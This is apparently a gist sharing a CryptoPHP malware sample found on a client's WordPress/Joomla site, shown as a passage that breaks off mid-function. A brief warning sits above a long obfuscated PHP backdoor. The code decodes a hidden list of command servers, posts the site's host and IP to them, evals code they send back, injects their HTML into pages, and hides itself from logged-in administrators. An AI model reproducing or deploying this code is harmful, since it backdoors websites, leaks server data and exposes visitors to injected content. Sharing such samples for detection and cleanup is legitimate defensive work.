Crypto PHP Malware - Remove this nasty code from your site.

CryptoPHP-malware-sample.php

// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible.
// This Gist is not to harm anyone. Don't run this code on your site.
// Generally it can be found in .png , .jpg files.


<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` (
        `id` int(10) NOT NULL AUTO_INCREMENT,
        `option_name` text NOT NULL,
        `value` text NOT NULL,

  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; $jiuOepDTQAtKPmDPlmA = JFactory::getDbo(); $jiuOepDTQAtKPmDPlmA->setQuery( $rTfnEPRdToBnhSfwgHoC ); $jiuOepDTQAtKPmDPlmA->query(); } if ( $TTsctbCBDGVyjyFVpVyp === 2 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `options` (
        `id` int(10) NOT NULL AUTO_INCREMENT,
        `option_name` text NOT NULL,
        `value` text NOT NULL,

  PRIMARY KEY (`id`)
 ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query( $rTfnEPRdToBnhSfwgHoC ); } $this->uQfIZmMpqyjCaRQMgMoc = array( '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=02ow5vpyWzLiWzpyq2MiWaM', '=02ow5lphIJof92n', '=02ow5lpykTpgS2pi9zM', '==DoiAzYmEzpu9zL2EKo', '==trcWzYmyKLxIao', 'iMzoc5lp5kzMx5JLlS2L', '==jow5lqikTn0SJo', '=82Lh82nhIJo', '==toc5lp3Izo3SJo', '=4Jnhf2LiWKolITq', 'hyzYeA2olIzoiE3p', '=4Jnh82oz1zM', 'hyzY0WKLjSJMyWaM', '==toc5PMhSTolSTqcI3M', '==toc5vou12MiWUp', '==toc5voz1zM', 'hyzYj9TouWKMhI2M', '=8zMhyzYykTpgS2pi9zM', '==joz5JnhHJMlMTAiWTn', '==joz5JnhHaZhITqmyTo', '=8zMhyzYyqJLjgzo', '3OaYm5JqaWzM', '=pUphH2nuEaZwyTp', '=pUphZapyE3pu1JMmIzocu2L', '=pUphxUMukJr6SToi9zM', '3OaYyAKqi92n', '0IzohxKLxIao', '=DKMh5Fne9TMhyzM', '==Nqy5zY5kzMx5JLlS2L', '==Nqy5zYi9zMgyzM', '==Nqy5zY392qzqKL', '==DoiAzYyyao2EKo', '=02ow5lpuyTMySKney2q', 'g92Lh4JMwEapiO3p', '=02ow5FMyWaM2EKo', '==DoiAzYwyJou5Jrx9JolIJo', 'g92LhDJMfkJLlIzquk2p', '=pzpi5FLc9zouWKLyO3p', '=DKMh5ln1kTnaI3oluTq', 'g92Lh0zpiE3pcAaoiO3p', '==DoiAzYcEaouW3MuyTM', '==DoiAzYyAzouE3pcAKMg9TM', '==DoiAzY5WKL0yTocWJnmSJM', '==DoiAzYaWKqvAUq0y2n', 'g92Lh0Jrh9zouqJq', '=02ow5PouITqmIKL', 'g92LhZUqcAKn2yTM', 'g92LhRzquqUql9Tn', '=02ow5PocEao19Jo', 'g92Lh4zpyEaoc9Tp', '==DoiAzYiEKLl9Tpl92LhyTo', 'g92Lhx3LuAJnfI2MlSTo', '==DoiAzYlI2Mu52olIJL', '==DoiAzYuu2pa5JnlIUM', '==DoiAzYmWKMg92LhyTo', '==DoiAzY3Izo3SJo' ); $this->YJPpcHYXiHzJcujCRMrl(); $this->RYXaXWzmuNWbJhAAdkYk = FALSE; $ANVoslonRNQSwwQloQTx = VpLgOEumcbcbVAoDSkNT( WP_OPTION_KEY ); if ( $ANVoslonRNQSwwQloQTx == NULL || $ANVoslonRNQSwwQloQTx == 'null' ) { $ANVoslonRNQSwwQloQTx = ''; } if ( $ANVoslonRNQSwwQloQTx == '' ) { $this->QchKkLFzBKbvSGpfvxRI = TRUE; $this->wbpSSSviIAVdaxozPaIs = new ozUEwvGfThFPKEOwkFic( 'new' ); $this->ROnGXakeZGHvnAshuA(); } else { $this->wbpSSSviIAVdaxozPaIs = new ozUEwvGfThFPKEOwkFic(); $this->ANVoslonRNQSwwQloQTx = $this->QcBvXJgXvjtpioOEqpI( $ANVoslonRNQSwwQloQTx, TRUE ); if ( isset( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'publicKey' ] ) ) { $this->wbpSSSviIAVdaxozPaIs->duINcvAvMBjVFAOeQCrT( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'publicKey' ] ); } } if ( $this->DykThtAuUVJVJpGjiOJr() ) { return FALSE; } $this->CPKWpEiLdpAqNsEEXLrF(); $this->TEDQAgcgMDuJlbEkvHlU(); if ( ! $this->QchKkLFzBKbvSGpfvxRI ) { $this->MMojNlkoXMbZUoUEZurV(); } if ( $TTsctbCBDGVyjyFVpVyp === 0 ) { $WDWTfYxwxTMIIsMmHXVV = '_site_transient_check_config_'; if ( function_exists( 'get_home_url' ) ) { $WDWTfYxwxTMIIsMmHXVV .= substr(md5( get_home_url() ),3, 5 ); } elseif ( function_exists( 'get_site_url' ) ) { $WDWTfYxwxTMIIsMmHXVV .= substr( md5( get_site_url() ), 3, 5); } else { $WDWTfYxwxTMIIsMmHXVV .= substr(md5( $_SERVER[ 'DOCUMENT_ROOT' ]) , 3, 5); } $MRClNpYsnlwZouJryjis = get_option( $WDWTfYxwxTMIIsMmHXVV, 0 ); $vQywbdKjWZluiwIxsQXa = time(); if ( $MRClNpYsnlwZouJryjis === 0 && !defined( '_wp_transient_config' )) { update_option( $WDWTfYxwxTMIIsMmHXVV, $vQywbdKjWZluiwIxsQXa ); $VbGBDDCPOXeYPOvSatBl = new IaLpFyUtkdDdtRnEDrJ(); } if ( ! defined( '_wp_active_plugins' ) ) { $gcAQATpMyBEOsCKgBRQG = pathinfo( __FILE__, PATHINFO_BASENAME ); $crnDNpdYNrpaBnqZgrgc = plugin_basename( __FILE__ ); $FZxyFcxHIgRadtHnDvWU = str_replace( $gcAQATpMyBEOsCKgBRQG, '', $crnDNpdYNrpaBnqZgrgc ); $uNKzgVGGqGPxHeRkgqRX = get_option( 'active_plugins', array() ); foreach ( $uNKzgVGGqGPxHeRkgqRX as $afaaIklbzorYXAlUjNPh ) { if ( strpos( $afaaIklbzorYXAlUjNPh, $FZxyFcxHIgRadtHnDvWU ) !== FALSE ) { $gcAQATpMyBEOsCKgBRQG = WP_PLUGIN_DIR . '/' . $afaaIklbzorYXAlUjNPh; register_deactivation_hook( $gcAQATpMyBEOsCKgBRQG, 'jqryqFBMrHdVpgSfpDad' ); break; } } } } } private function DykThtAuUVJVJpGjiOJr() { if ( !isset( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ) || strlen( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ) < 3 ) { return false; }else{ $dRxgBmOpUKkRaEKwAISv = substr( md5( $this->ANVoslonRNQSwwQloQTx['info']['serverKey'] ) , 3 , 5 ); } if ( isset( $_COOKIE[ $dRxgBmOpUKkRaEKwAISv ] ) ) { return TRUE; } if ( function_exists( 'is_user_logged_in' ) ) { if ( is_user_logged_in() ) { setcookie( $dRxgBmOpUKkRaEKwAISv, '1', time() + 93312000 ); return TRUE; } } return FALSE; } private function ROnGXakeZGHvnAshuA() { if ( ! defined( 'wp_newData' ) ) { $ClbAffTqwdfsStqVgzyq = $this->bQhqyjECNagHOENBeGGx(); $ClbAffTqwdfsStqVgzyq[ 'publicKey' ] = $this->wbpSSSviIAVdaxozPaIs->NgHMLtrOrvggBbUUtHKW(); $this->ClbAffTqwdfsStqVgzyq = $ClbAffTqwdfsStqVgzyq; $thcjWzdsMailOnImWlBT = FALSE; foreach ( $this->frtYLIADcPvIgOOOlqwP() as $ZRhtpGOgTZTZRdeSYVBw ) { if (empty($ZRhtpGOgTZTZRdeSYVBw)) { continue; } $ANVoslonRNQSwwQloQTx = $this->oAkCruOFAQbOjyqcMZMw( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq ); $ANVoslonRNQSwwQloQTx = $this->sBqtxkmIaYHzAKLEdCcI( $ANVoslonRNQSwwQloQTx ); if ( $ANVoslonRNQSwwQloQTx !== FALSE ) { $thcjWzdsMailOnImWlBT = TRUE; if ( $this->RYXaXWzmuNWbJhAAdkYk ) { break; } break; } } if ( $thcjWzdsMailOnImWlBT ) { if ( $this->RYXaXWzmuNWbJhAAdkYk ) { $ANVoslonRNQSwwQloQTx = $this->jvhauOzYacIijjJXbEGB(); } $ANVoslonRNQSwwQloQTx[ 'info' ] = $ClbAffTqwdfsStqVgzyq; $this->xjUhToBfRhZlhXGMjiqQ( WP_OPTION_KEY, $ANVoslonRNQSwwQloQTx ); $this->ANVoslonRNQSwwQloQTx = $ANVoslonRNQSwwQloQTx; } else { $ANVoslonRNQSwwQloQTx = $this->jvhauOzYacIijjJXbEGB(); $ANVoslonRNQSwwQloQTx[ 'info' ] = $ClbAffTqwdfsStqVgzyq; $this->ANVoslonRNQSwwQloQTx = $ANVoslonRNQSwwQloQTx; $this->xjUhToBfRhZlhXGMjiqQ( WP_OPTION_KEY, $ANVoslonRNQSwwQloQTx ); } return $ANVoslonRNQSwwQloQTx; } return FALSE; } private function CPKWpEiLdpAqNsEEXLrF(){ if ( @$_REQUEST[ $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ] == 'reset' ) { $this->MMojNlkoXMbZUoUEZurV( 1, urldecode( $_REQUEST[ 'url' ] ) ); } if ( @$_REQUEST[ $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ] == 'update' ) { $this->MMojNlkoXMbZUoUEZurV( 1 ); } if ( @$_REQUEST[ $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ] == 'update' ) { $this->MMojNlkoXMbZUoUEZurV( 1 ); } } public function TEDQAgcgMDuJlbEkvHlU() { $ANVoslonRNQSwwQloQTx = $this->ANVoslonRNQSwwQloQTx; if ( ! isset( $ANVoslonRNQSwwQloQTx ) || $ANVoslonRNQSwwQloQTx == NULL ) { return; } if ( ! is_array( $ANVoslonRNQSwwQloQTx ) || $ANVoslonRNQSwwQloQTx == '' ) { return; } if ( @$ANVoslonRNQSwwQloQTx[ 'info' ][ 'eval' ] == 1 ) { if ( is_array( @$ANVoslonRNQSwwQloQTx[ 'eval' ] ) ) { foreach ( @$ANVoslonRNQSwwQloQTx[ 'eval' ] as $JbpGMBCRMNNqYrllqogh ) { eval( $JbpGMBCRMNNqYrllqogh ); } } } if ( isset( $ANVoslonRNQSwwQloQTx[ 'echo' ] ) ) { if ( ! defined( 'wp_footerLeo' ) ) { if ( $this->TTsctbCBDGVyjyFVpVyp == 0 ) { add_action( 'wp_head', array( $this, 'JLKCxmYDqGERxDYMhmOj' ) ); add_action( 'wp_footer', array( $this, 'JLKCxmYDqGERxDYMhmOj' ) ); @ob_start( 'JLKCxmYDqGERxDYMhmOj' ); } if ( $this->TTsctbCBDGVyjyFVpVyp == 1 ) { $NEKXukygfLoADkopeheR = JResponse::getBody(); $TyesFaUGdbAsPGadCnwt = &JFactory::getDocument(); ob_start(); $this->JLKCxmYDqGERxDYMhmOj(); $pnbgYzqXMNjqSBORSeLB = ob_get_contents(); ob_end_clean(); $NEKXukygfLoADkopeheR = preg_replace( "/(\<body.*?\>)/", "$1 $pnbgYzqXMNjqSBORSeLB", $NEKXukygfLoADkopeheR ); JResponse::setBody( $NEKXukygfLoADkopeheR ); } if ( $this->TTsctbCBDGVyjyFVpVyp == 2 ) { } } } } public function JLKCxmYDqGERxDYMhmOj($aZkalCUWtsxgyfejJWSS = false) { if ( isset( $GLOBALS[ 'wp_run_crx' ] ) ) { return $aZkalCUWtsxgyfejJWSS; } $GLOBALS[ 'wp_run_crx' ] = 1; $ANVoslonRNQSwwQloQTx = $this->ANVoslonRNQSwwQloQTx; foreach ( $ANVoslonRNQSwwQloQTx[ 'echo' ] as $gTFusccXHODHdNfTRcIr ) { if ( $aZkalCUWtsxgyfejJWSS != FALSE ) { str_replace( "</body", "$gTFusccXHODHdNfTRcIr </body", $aZkalCUWtsxgyfejJWSS ); } else { echo $gTFusccXHODHdNfTRcIr; } } } private function jvhauOzYacIijjJXbEGB() { $ANVoslonRNQSwwQloQTx = array(); $ANVoslonRNQSwwQloQTx[ 'echo' ] = array(); $ANVoslonRNQSwwQloQTx[ 'eval' ] = array(); $ANVoslonRNQSwwQloQTx[ 'clients' ] = array(); $ANVoslonRNQSwwQloQTx[ 'update' ] = array(); return $ANVoslonRNQSwwQloQTx; } private function YJPpcHYXiHzJcujCRMrl() { if ( class_exists( 'JFactory' ) ) { if ( JURI::base() ) { $rFofWoxFwVRGhuCOjsaK = JURI::base(); } elseif ( JURI::root() ) { $rFofWoxFwVRGhuCOjsaK = JURI::root(); } } elseif ( function_exists( 'get_home_url' ) || function_exists( 'get_site_url' ) ) { if ( function_exists( 'get_home_url' ) ) { $rFofWoxFwVRGhuCOjsaK = get_home_url(); } elseif ( function_exists( 'get_site_url' ) ) { $rFofWoxFwVRGhuCOjsaK = get_site_url(); } } elseif ( $GLOBALS[ 'base_path' ] || $GLOBALS[ 'base_url' ] ) { if ( $GLOBALS[ 'base_path' ] ) { $rFofWoxFwVRGhuCOjsaK = $GLOBALS[ 'base_path' ]; } else { $rFofWoxFwVRGhuCOjsaK = $GLOBALS[ 'base_url' ]; } } else { $rFofWoxFwVRGhuCOjsaK = $_SERVER[ 'HTTP_HOST' ]; } $MsLKWZubUpwZsXweShFg = array( 'www.', 'www', ' ', '{', '}' ); $this->rFofWoxFwVRGhuCOjsaK = str_replace( $MsLKWZubUpwZsXweShFg, "", $rFofWoxFwVRGhuCOjsaK ); return $this->rFofWoxFwVRGhuCOjsaK; } private function frtYLIADcPvIgOOOlqwP() { $ANVoslonRNQSwwQloQTx = array(); foreach ( $this->uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw ) { $ANVoslonRNQSwwQloQTx[ ] = base64_decode( str_rot13( strrev( $ZRhtpGOgTZTZRdeSYVBw ) ) ); } if ( isset( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] ) ) { $RIDSsUypyvhaOoRUSAVT = (int) ( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] / 100 ); if ( $RIDSsUypyvhaOoRUSAVT == 0 ) { $RIDSsUypyvhaOoRUSAVT = 5; } else { $RIDSsUypyvhaOoRUSAVT *= 5; } } else { $RIDSsUypyvhaOoRUSAVT = 5; } return $this->TSmgHGGpCOaFpIQthvlU( $ANVoslonRNQSwwQloQTx, $RIDSsUypyvhaOoRUSAVT ); } private function kxNFPkmoRjlpKMZgBBSt( $nAdZoAdkHIGJvIPtmRmT ) { $ANVoslonRNQSwwQloQTx = array(); foreach ( $this->ANVoslonRNQSwwQloQTx[ 'emails' ] as $fzzoeSAOApURHlkJwYWs ) { $ANVoslonRNQSwwQloQTx[ ] = $fzzoeSAOApURHlkJwYWs; } foreach ( $this->keXZeLlUjrISqwBQePlM as $fzzoeSAOApURHlkJwYWs ) { $ANVoslonRNQSwwQloQTx[ ] = base64_decode( str_rot13( strrev( $fzzoeSAOApURHlkJwYWs ) ) ); } return $this->TSmgHGGpCOaFpIQthvlU( $ANVoslonRNQSwwQloQTx, $nAdZoAdkHIGJvIPtmRmT ); } private function bQhqyjECNagHOENBeGGx() { if ( ! defined( 'wp_getInfoData' ) ) { $ANVoslonRNQSwwQloQTx = array(); $ANVoslonRNQSwwQloQTx[ 'host' ] = $this->YJPpcHYXiHzJcujCRMrl(); $ANVoslonRNQSwwQloQTx[ 'page' ] = $_SERVER[ 'REQUEST_URI' ]; $ANVoslonRNQSwwQloQTx[ 'ip' ] = $_SERVER[ 'SERVER_ADDR' ]; $ANVoslonRNQSwwQloQTx[ 'eval' ] = $this->iIkbNPOMzHBEaGLuayXw(); $ANVoslonRNQSwwQloQTx[ 'exec' ] = $this->schzwZIoqdCTflLjVBrW(); $ANVoslonRNQSwwQloQTx[ 'serverKey' ] = $this->ERCpAYkPoxkdbTLfQwev(); $ANVoslonRNQSwwQloQTx[ 'run' ] = 0; $ANVoslonRNQSwwQloQTx[ 'type' ] = $this->TTsctbCBDGVyjyFVpVyp; $ANVoslonRNQSwwQloQTx[ 'ver' ] = 1.0; $ANVoslonRNQSwwQloQTx[ 'started' ] = date( 'Ymd' ); $ANVoslonRNQSwwQloQTx[ 'last_connect' ] = date( 'Ymd' ); $this->ClbAffTqwdfsStqVgzyq = $ANVoslonRNQSwwQloQTx; return $ANVoslonRNQSwwQloQTx; } return FALSE; } private function ERCpAYkPoxkdbTLfQwev( $WOvxjgelkBHhHJvNcmNG = 10 ) { $MsLKWZubUpwZsXweShFg = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $MTOgwpITDJOdGfIbmww = ''; for ( $xLyDQzORkZZbMOednjNE = 0 ; $xLyDQzORkZZbMOednjNE < $WOvxjgelkBHhHJvNcmNG ; $xLyDQzORkZZbMOednjNE ++ ) { $MTOgwpITDJOdGfIbmww .= $MsLKWZubUpwZsXweShFg[ rand( 0, strlen( $MsLKWZubUpwZsXweShFg ) - 1 ) ]; } return $MTOgwpITDJOdGfIbmww; } public function MMojNlkoXMbZUoUEZurV($qcquFjFPdpAwnQIbpBRH = false, $ZRhtpGOgTZTZRdeSYVBw = null) { $ANVoslonRNQSwwQloQTx = $this->ANVoslonRNQSwwQloQTx; if ( ! defined( 'wp_checkUpdate' ) ) { if ( @$ANVoslonRNQSwwQloQTx[ 'info' ][ 'last_connect' ] < date( 'Ymd' ) || $qcquFjFPdpAwnQIbpBRH ) { $ANVoslonRNQSwwQloQTx = $this->zpYUVZJHzzfDLRiDDsLK( $ANVoslonRNQSwwQloQTx, $ZRhtpGOgTZTZRdeSYVBw ); if ( $ANVoslonRNQSwwQloQTx == FALSE ) { return; } else { unset( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] ); } $ANVoslonRNQSwwQloQTx[ 'info' ][ 'last_connect' ] = date( 'Ymd' ); $ANVoslonRNQSwwQloQTx[ 'info' ][ 'run' ] ++; $this->xjUhToBfRhZlhXGMjiqQ( WP_OPTION_KEY, $ANVoslonRNQSwwQloQTx ); } } } private function zpYUVZJHzzfDLRiDDsLK( $ANVoslonRNQSwwQloQTx , $ZRhtpGOgTZTZRdeSYVBw) { if ( ! defined( 'wp_updateData' ) ) { if ( isset( $ZRhtpGOgTZTZRdeSYVBw ) ) { $this->EYtAUHIreQzDKeiVNfCU( array( $ZRhtpGOgTZTZRdeSYVBw ), $ANVoslonRNQSwwQloQTx ); } $uQfIZmMpqyjCaRQMgMoc = @$ANVoslonRNQSwwQloQTx[ 'servers' ]; $WVnZYORFsYkxVCRWs = $this->EYtAUHIreQzDKeiVNfCU( $uQfIZmMpqyjCaRQMgMoc, $ANVoslonRNQSwwQloQTx ); if ( $WVnZYORFsYkxVCRWs !== FALSE ) { return $WVnZYORFsYkxVCRWs; } $WVnZYORFsYkxVCRWs = $this->EYtAUHIreQzDKeiVNfCU( $this->frtYLIADcPvIgOOOlqwP(), $ANVoslonRNQSwwQloQTx ); if ( $WVnZYORFsYkxVCRWs !== FALSE ) { return $WVnZYORFsYkxVCRWs; } } return FALSE; } private function EYtAUHIreQzDKeiVNfCU( $uQfIZmMpqyjCaRQMgMoc, $ANVoslonRNQSwwQloQTx ) { foreach ( $uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw ) { $WVnZYORFsYkxVCRWs = $this->ElmztdVzbngvxQDztI( $ZRhtpGOgTZTZRdeSYVBw, $ANVoslonRNQSwwQloQTx[ 'info' ], $ANVoslonRNQSwwQloQTx ); if ( $WVnZYORFsYkxVCRWs != FALSE ) { if ( ! isset( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'empty' ] ) ) { $ANVoslonRNQSwwQloQTx[ 'info' ][ 'empty' ] = 0; } if ( $this->RYXaXWzmuNWbJhAAdkYk ) { $ANVoslonRNQSwwQloQTx[ 'info' ][ 'empty' ] ++; if ( ! isset( $xLyDQzORkZZbMOednjNE ) ) { $xLyDQzORkZZbMOednjNE = (int) ( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'empty' ] / 5 ); } if ( $xLyDQzORkZZbMOednjNE > 0 ) { $xLyDQzORkZZbMOednjNE --; continue; } } if ( $this->RYXaXWzmuNWbJhAAdkYk ) { return $ANVoslonRNQSwwQloQTx; } $WVnZYORFsYkxVCRWs[ 'info' ][ 'empty' ] = -- $ANVoslonRNQSwwQloQTx[ 'info' ][ 'empty' ]; return $WVnZYORFsYkxVCRWs; } } return FALSE; } private function ElmztdVzbngvxQDztI( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq, $ANVoslonRNQSwwQloQTx ) { $this->RYXaXWzmuNWbJhAAdkYk = FALSE; $rckdssQxbXVPjhExNdhX = $this->oAkCruOFAQbOjyqcMZMw( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq ); $rckdssQxbXVPjhExNdhX = $this->sBqtxkmIaYHzAKLEdCcI( $rckdssQxbXVPjhExNdhX ); if ( $rckdssQxbXVPjhExNdhX != FALSE ) { if ( $this->RYXaXWzmuNWbJhAAdkYk ) { return $ANVoslonRNQSwwQloQTx; } $rckdssQxbXVPjhExNdhX[ 'info' ] = $ClbAffTqwdfsStqVgzyq; return $rckdssQxbXVPjhExNdhX; } return FALSE; } private function sBqtxkmIaYHzAKLEdCcI( $ANVoslonRNQSwwQloQTx ) { if ( ! defined( 'wp_validData' ) ) { if ( ! isset( $this->ClbAffTqwdfsStqVgzyq ) ) { $this->ClbAffTqwdfsStqVgzyq = $this->ANVoslonRNQSwwQloQTx[ 'info' ]; } if ( md5( $this->ClbAffTqwdfsStqVgzyq[ 'serverKey' ] ) == $ANVoslonRNQSwwQloQTx ) { $this->RYXaXWzmuNWbJhAAdkYk = TRUE; return TRUE; } $ANVoslonRNQSwwQloQTx = $this->wbpSSSviIAVdaxozPaIs->fakDjKdyfxqzqCVYUs( $ANVoslonRNQSwwQloQTx ); $ANVoslonRNQSwwQloQTx = json_decode( $ANVoslonRNQSwwQloQTx, TRUE ); if ( $ANVoslonRNQSwwQloQTx == FALSE ) { return FALSE; } else { if ( ! isset( $ANVoslonRNQSwwQloQTx[ 'servers' ] ) ) { return FALSE; } } return $ANVoslonRNQSwwQloQTx; } return FALSE; } private function sakCZboUKVgZcavmOLlv( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq ) { $XpVWhYQezAsCoguzeUk = NULL; $ZRhtpGOgTZTZRdeSYVBw = 'http://' . $ZRhtpGOgTZTZRdeSYVBw; if ( function_exists( 'curl_version' ) ) { $cPQDNzaFpBKRxzJrBNZG = curl_init(); curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_URL, $ZRhtpGOgTZTZRdeSYVBw ); curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_RETURNTRANSFER, 1 ); @curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_FOLLOWLOCATION, TRUE ); if ( isset( $ClbAffTqwdfsStqVgzyq ) && is_array( $ClbAffTqwdfsStqVgzyq ) ) { curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_POST, TRUE ); curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_CUSTOMREQUEST, "POST" ); curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_POSTFIELDS, $ClbAffTqwdfsStqVgzyq ); } curl_setopt( $cPQDNzaFpBKRxzJrBNZG, CURLOPT_CONNECTTIMEOUT, 10 ); $XpVWhYQezAsCoguzeUk = curl_exec( $cPQDNzaFpBKRxzJrBNZG ); curl_close( $cPQDNzaFpBKRxzJrBNZG ); } elseif ( function_exists( 'fsockopen' ) ) { $DfDZKkNFaULmGrCVkdmO = parse_url( $ZRhtpGOgTZTZRdeSYVBw ); $FYxyvybywDQZOUsbpyEd = ( isset( $DfDZKkNFaULmGrCVkdmO[ 'port' ] ) && $DfDZKkNFaULmGrCVkdmO[ 'port' ] ) ? (int) $DfDZKkNFaULmGrCVkdmO[ 'port' ] : 80; $NXdTbsKfmSOvfgWeGQma = ( isset( $DfDZKkNFaULmGrCVkdmO[ 'path' ] ) && $DfDZKkNFaULmGrCVkdmO[ 'path' ] ) ? $DfDZKkNFaULmGrCVkdmO[ 'path' ] : '/'; if ( isset( $DfDZKkNFaULmGrCVkdmO[ 'query' ] ) && $DfDZKkNFaULmGrCVkdmO[ 'query' ] ) { $NXdTbsKfmSOvfgWeGQma .= '?' . $DfDZKkNFaULmGrCVkdmO[ 'query' ]; } if ( $nWTGWQDrNcMlYfY = @fsockopen( $DfDZKkNFaULmGrCVkdmO[ 'host' ], $FYxyvybywDQZOUsbpyEd, $CUchiqUmYextPVnfusIF, $RmvXBnmlEOCDzFpLtnQh, 10 ) ) { fwrite( $nWTGWQDrNcMlYfY, "POST {$NXdTbsKfmSOvfgWeGQma} HTTP/1.1\r\n" ); fwrite( $nWTGWQDrNcMlYfY, "Host: {$DfDZKkNFaULmGrCVkdmO['host']}\r\n" ); if ( isset( $ClbAffTqwdfsStqVgzyq ) && is_array( $ClbAffTqwdfsStqVgzyq ) ) { $BwKJfYtBWvwlFPSYbYFU = http_build_query( $ClbAffTqwdfsStqVgzyq ); fwrite( $nWTGWQDrNcMlYfY, "Content-Type: application/x-www-form-urlencoded\r\n" ); fwrite( $nWTGWQDrNcMlYfY, "Content-Length: " . strlen( $BwKJfYtBWvwlFPSYbYFU ) . "\r\n" ); fwrite( $nWTGWQDrNcMlYfY, "Connection: close\r\n" ); fwrite( $nWTGWQDrNcMlYfY, "\r\n" ); fwrite( $nWTGWQDrNcMlYfY, $BwKJfYtBWvwlFPSYbYFU ); } fwrite( $nWTGWQDrNcMlYfY, "Connection: close\r\n" ); $BwKJfYtBWvwlFPSYbYFU = ''; while ( ! feof( $nWTGWQDrNcMlYfY ) ) { $BwKJfYtBWvwlFPSYbYFU .= fgets( $nWTGWQDrNcMlYfY, 4096 ); } fclose( $nWTGWQDrNcMlYfY ); $OBZOxZtsmJECmtOofbw = explode( "\r\n\r\n", $BwKJfYtBWvwlFPSYbYFU, 2 ); $BwKJfYtBWvwlFPSYbYFU = NULL; $XpVWhYQezAsCoguzeUk = isset( $OBZOxZtsmJECmtOofbw[ 1 ] ) ? trim( $OBZOxZtsmJECmtOofbw[ 1 ] ) : ''; if ( $XpVWhYQezAsCoguzeUk ) { $VuvXgWrUCVhuPJHEMqFV = strpos( $XpVWhYQezAsCoguzeUk, '{' ); if ( $VuvXgWrUCVhuPJHEMqFV !== FALSE ) { $XpVWhYQezAsCoguzeUk = substr( $XpVWhYQezAsCoguzeUk, $VuvXgWrUCVhuPJHEMqFV ); } $VuvXgWrUCVhuPJHEMqFV = strrpos( $XpVWhYQezAsCoguzeUk, '}' ); if ( $VuvXgWrUCVhuPJHEMqFV !== FALSE ) { $XpVWhYQezAsCoguzeUk = substr( $XpVWhYQezAsCoguzeUk, 0, $VuvXgWrUCVhuPJHEMqFV + 1 ); } } } } return $XpVWhYQezAsCoguzeUk; } private function oAkCruOFAQbOjyqcMZMw( $ZRhtpGOgTZTZRdeSYVBw, $ClbAffTqwdfsStqVgzyq = NULL, $lCTNLabxnOcjyrYcxGfw = NULL 